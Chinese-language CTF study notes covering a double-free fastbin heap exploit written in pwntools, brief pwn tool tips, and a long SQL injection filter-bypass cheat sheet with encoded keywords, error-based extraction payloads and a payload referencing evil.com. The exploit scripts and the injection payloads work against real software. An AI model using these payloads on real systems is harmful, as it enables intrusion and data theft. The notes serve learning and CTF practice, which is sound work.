io = process("./heap_Double_Free")
def add(index,size,payload):
    io.recvuntil(b"/Desktop$ \n")
    io.sendline(b"1")
    io.sendlineafter(b"size :\n",str(index).encode())
    io.sendline(str(size).encode())
    io.sendlineafter(b"contet:\n",payload)

def free(index):
    io.recvuntil(b"Desktop$ \n")
    io.sendline(b"2")
    io.sendlineafter(b"id :\n",str(index).encode())

def put(index):
    io.recvuntil(b"Desktop$ \n")
    io.sendline(b"3")
    io.sendlineafter(b"id :\n",str(index).encode())

接着分析一下这个题目,因为在free的时候没有把指针置为0,所以会造成doublefree漏洞,可以让我们修改fd指针,从而修改我们想要的值,也就是globals1[4] 思路就是把一块chunk free两次,那这个chunk就又会在fastbin中又会在使用。

如果先free chunk0 然后free chunk1 最后再free一次chunk0 fastbin里的结构就会变成这样
然后malloc出来就会把第一个chunk0拿出来,但是还有一个chunk0在fastbin中
chunk的结构如下

1
2
3
4
[ prev_size ]  (仅在 large bin 中存在)
[ size ] (chunk 头部,存储 chunk 大小)
[ fd ] (fastbin 头部存储的指针,指向下一个 fastbin chunk)
[ data ] (用户数据区,从这里开始写数据)

那在修改了一个chunk0中的值,在fastbin中的fd指针就会改变
如果再申请一个内存就会申请chunk0 然后把值改成指定地址,就修改了fd指针

最后就申请前面两个chunk然后最后把指定地址的chunk拿过来,把值修改成0x101
最后修改globals地址但是可以修改index为4的值是因为,fd指向的是chunk头,chunk data都是从[chunk head]+sizeof(chunk head)处开始的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

io = remote("1.95.36.136", 2060)
def add(id,size,context):
io.sendlineafter(b'root@ubuntu:~/Desktop$ ',b'1')
io.sendlineafter(b':\n',str(id))
io.sendline(str(size))
io.sendlineafter(b':\n',context)
def free(id):
io.sendlineafter(b'root@ubuntu:~/Desktop$ ',b'2')
io.sendlineafter(b'id :\n',str(id))
def get_shell():
io.recvuntil("root@ubuntu:~/Desktop$ ")
io.sendline(b"4")


add(0,0x68,b'a')#0
add(1,0x68,b'a')#1
add(2,0x68,b'a')#2

free(0)
free(1)
free(0)

add(3,0x68,p64(0x6010A0))
add(4,0x68,b'a')
add(5,0x68,b'a')
add(6,0x68,p64(0x101))

get_shell()
io.interactive()

ida

tab或者f5反编译
shift + f12显示所有的字符串

pwntool

有用到字符串前面要加上b
payload中写入地址要先用p32或者p64转一下 对应的解包函数是u32 用 hex解包的数据就是得到原来的内存
生成shellcode 32位: shellcode = shellcraft.sh() 要再用asm函数转成机器码 64位 shellcraft.amd64.sh() 用64的shellcode要加上context.update(os=’linux’, arch=’amd64’)
shellcode.ljust/rjust(padding,’a’) 从左边/右边开始输入junk数据 填充到padding个数据

sendlineafter 两个参数,第一个是读到哪里,后面一个是这个地方的输入的值
ELF是 Pwntools 提供的一个用于解析 ELF(二进制可执行文件) 的函数,它会返回一个 ELF 类的对象,允许你访问该 ELF 文件的各种信息,如符号表、PLT 表、GOT 表、段地址等。
动态库的地址用 libc = ELF() 函数在libc中的偏移地址是libc.symbols['puts'] ELF.search() 方法用于在 ELF 文件的二进制数据中搜索特定的字节序列。
next() 用于获取搜索结果中的第一个匹配项。bin_sh = next(libc.search(b"/bin/sh")) # 在 libc 中查找 "/bin/sh" 字符串
p64是把整数转换成64位字符串 不能转16进制字符串 (将整数转换为 64 位(8 字节)小端序的二进制格式)
str().encode()也能用于把整数转换成字节 encode的作用是在前边加上一个b

ROPgadget

基本用法

1
ROPgadget --binary <binary> --only "pop|ret"

pop 是 从栈中取出数据并存入寄存器 的指令
ret从栈顶(rsp 指向的地址)取出一个值,并跳转到该地址执行
用--string参数查找特定字符的地址比如'/bin/sh'

gdb

在 GDB 中,cyclic 是一个调试工具,用于生成和识别循环模式(cyclic pattern),通常用于缓冲区溢出(buffer overflow)攻击的调试和漏洞分析。
cyclic 200 这将生成一个200个字节的模式 分析崩溃地址 cyclic -l 0x61616161会返回相应的模式偏移位置,帮助你识别溢出发生的位置

用x $rbp 可以看到rbp的长度 选取后8位
info registers查看寄存器的值
attach pid 调制指定进程

ldd

ldd + 文件名 可以看到用的动态库

随记

SQL注入绕过速查表

过滤and or

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
or     ——>    ||
and ——> &&
xor ——> |
not ——> !

十六进制绕过
or ——> o\x72

大小写绕过
Or
aNd

双写绕过
oorr
anandd

urlencode,ascii(char),hex,unicode编码绕过
一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7


关键字内联注释尝试绕所有
/*!or*/
/*!and*/

左括号过滤

1
2
3
4
urlencode,ascii(char),hex,unicode编码绕过
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8

右括号过滤

1
2
3
4
urlencode,ascii(char),hex,unicode编码绕过
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

过滤union\select

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'

十六进制字符绕过
select ——> selec\x74
union——>unio\x6e

大小写绕过
SelEct

双写绕过
selselectect
uniunionon

urlencode,ascii(char),hex,unicode编码绕过

关键字内联绕所有
/*!union*/
/*!select*/

过滤空格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
绕过空格注释符绕过//--%20/**/#--+-- -;%00;

空白字符绕过SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0

过滤=

1
2
3
?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=

过滤比较符<>

1
2
3
4
5

select*fromuserswhereid=1and ascii(substr(database(),0,1))>64

select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64

过滤where

1
2
3
逻辑绕过
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

1
2
3
逻辑绕过
过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

1
2
3
逻辑绕过
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

1
2
3
逻辑绕过
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'

过滤’(单引号)

1
2
3
4
5
6
7
8
逻辑绕过
waf = 'and|or|union|where|limit|group by|select|\''
过滤代码 1 && substr(user,1,1) = 'a'
绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)

宽字节绕过
%bf%27 %df%27 %aa%27

过滤逗号

1
2
3
4
5
6
7
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
selectsubstr(database(0from1for1);selectmid(database(0from1for1);

对于limit可以使用offset来绕过:

select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0

过滤hex

1
2
3
逻辑绕过
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤substr

1
2
3
4
逻辑绕过

过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'

编码绕过

利用urlencode,ascii(char),hex,unicode等编码绕过

1
2
3
4
5
6
7
8
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

等价函数或变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

生僻函数

1
2
3
4
5
6
7
8
9
10
11
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);          

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))

and extractvalue(1, concat(0x5c, (select user()),0x5c))

\N绕过

\N相当于NULL字符

1
2
3
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

PCRE绕过

1
2
PHP 的 pcre.backtrack_limit 限制利用
union/*aaaaaaaxN*/select